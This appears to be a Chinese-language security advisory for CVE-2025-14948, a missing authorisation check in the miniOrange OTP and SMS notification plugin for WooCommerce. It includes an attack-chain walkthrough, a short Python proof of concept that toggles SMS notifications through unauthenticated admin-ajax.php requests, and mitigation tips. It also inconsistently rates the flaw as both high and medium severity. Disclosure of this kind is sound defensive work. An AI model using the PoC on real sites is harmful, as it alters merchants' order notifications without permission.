IPBUF安全漏洞报告
English
CVE-2025-14948 CVSS 5.3 中危

CVE-2025-14948 WordPress miniOrange插件未授权SMS通知设置修改漏洞

披露日期: 2026-01-10

漏洞信息

漏洞编号
CVE-2025-14948
漏洞类型
权限绕过/未授权访问
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
miniOrange OTP Verification and SMS Notification for WooCommerce WordPress插件

相关标签

CVE-2025-14948WordPress插件漏洞权限绕过未授权访问miniOrangeWooCommerceSMS通知AJAX漏洞缺少权限检查CMS安全

漏洞概述

CVE-2025-14948是WordPress插件miniOrange OTP Verification and SMS Notification for WooCommerce中的一个高危安全漏洞。该插件版本最高至4.3.8存在严重的权限控制缺陷,具体表现为`enable_wc_sms_notification` AJAX操作缺少适当的权限检查机制。由于WordPress的AJAX端点通常允许已登录用户访问,但该漏洞使得未认证攻击者能够直接调用相关功能,修改WooCommerce订单的SMS通知设置。攻击者可以利用此漏洞在管理员不知情的情况下启用或禁用SMS通知功能,可能导致订单通知系统被恶意操控,影响商家的正常运营流程。尽管该漏洞的CVSS评分为5.3(中等),但在实际场景中,未经授权修改关键业务设置可能造成订单信息泄露或业务中断等连锁反应。

技术细节

该漏洞源于插件在处理AJAX请求时未执行正确的权限验证。攻击者可以通过向WordPress的admin-ajax.php端点发送POST请求,调用`enable_wc_sms_notification`操作。漏洞代码位于插件的class-woocommercenotifications.php文件的第138行附近,该函数直接处理SMS通知的启用/禁用逻辑,而没有使用WordPress的`current_user_can()`函数进行权限检查。攻击者只需构造特定的请求参数(如action=enable_wc_sms_notification&enable=true),即可在无需任何认证的情况下修改SMS通知设置。由于WooCommerce订单通知通常涉及客户手机号码和订单详情,攻击者篡改通知设置后可能导致订单状态更新无法及时通知客户,或将通知重定向至攻击者控制的手机号码,造成信息泄露风险。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的WordPress版本,并确认安装了miniOrange OTP Verification and SMS Notification for WooCommerce插件(版本<=4.3.8)
STEP 2
步骤2: 构造恶意请求
攻击者构造针对admin-ajax.php端点的POST请求,设置action参数为enable_wc_sms_notification,并指定enable参数为true或false
STEP 3
步骤3: 发送漏洞利用请求
攻击者发送未认证的AJAX请求至目标服务器,由于插件缺少nonce验证和权限检查,请求被直接处理
STEP 4
步骤4: 修改SMS通知设置
漏洞代码执行后,WooCommerce订单的SMS通知设置被成功修改,攻击者可启用或禁用通知功能
STEP 5
步骤5: 后续攻击(可选)
攻击者可能结合其他漏洞或社会工程学手段,将SMS通知重定向至攻击者控制的手机号码,窃取订单敏感信息或干扰正常业务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-14948 PoC - Unauthenticated SMS Notification Toggle # Target: WordPress site with miniOrange OTP Verification plugin <= 4.3.8 target_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" # Disable SMS notifications payload_disable = { "action": "enable_wc_sms_notification", "enable": "false" } # Enable SMS notifications payload_enable = { "action": "enable_wc_sms_notification", "enable": "true" } print("[*] Sending request to disable SMS notifications...") response = requests.post(target_url, data=payload_disable) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") print("\n[*] Sending request to enable SMS notifications...") response = requests.post(target_url, data=payload_enable) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") print("\n[!] Note: This vulnerability requires no authentication") print("[!] Attacker can modify WooCommerce SMS notification settings without login")

影响范围

miniOrange OTP Verification and SMS Notification for WooCommerce插件 <= 4.3.8

防御指南

临时缓解措施
如果无法立即升级插件,可通过在主题的functions.php中添加临时过滤器来禁用有漏洞的AJAX操作,或者使用WordPress安全插件(如Wordfence)提供的外围防护。同时建议监控admin-ajax.php的访问日志,排查异常的SMS通知设置修改行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表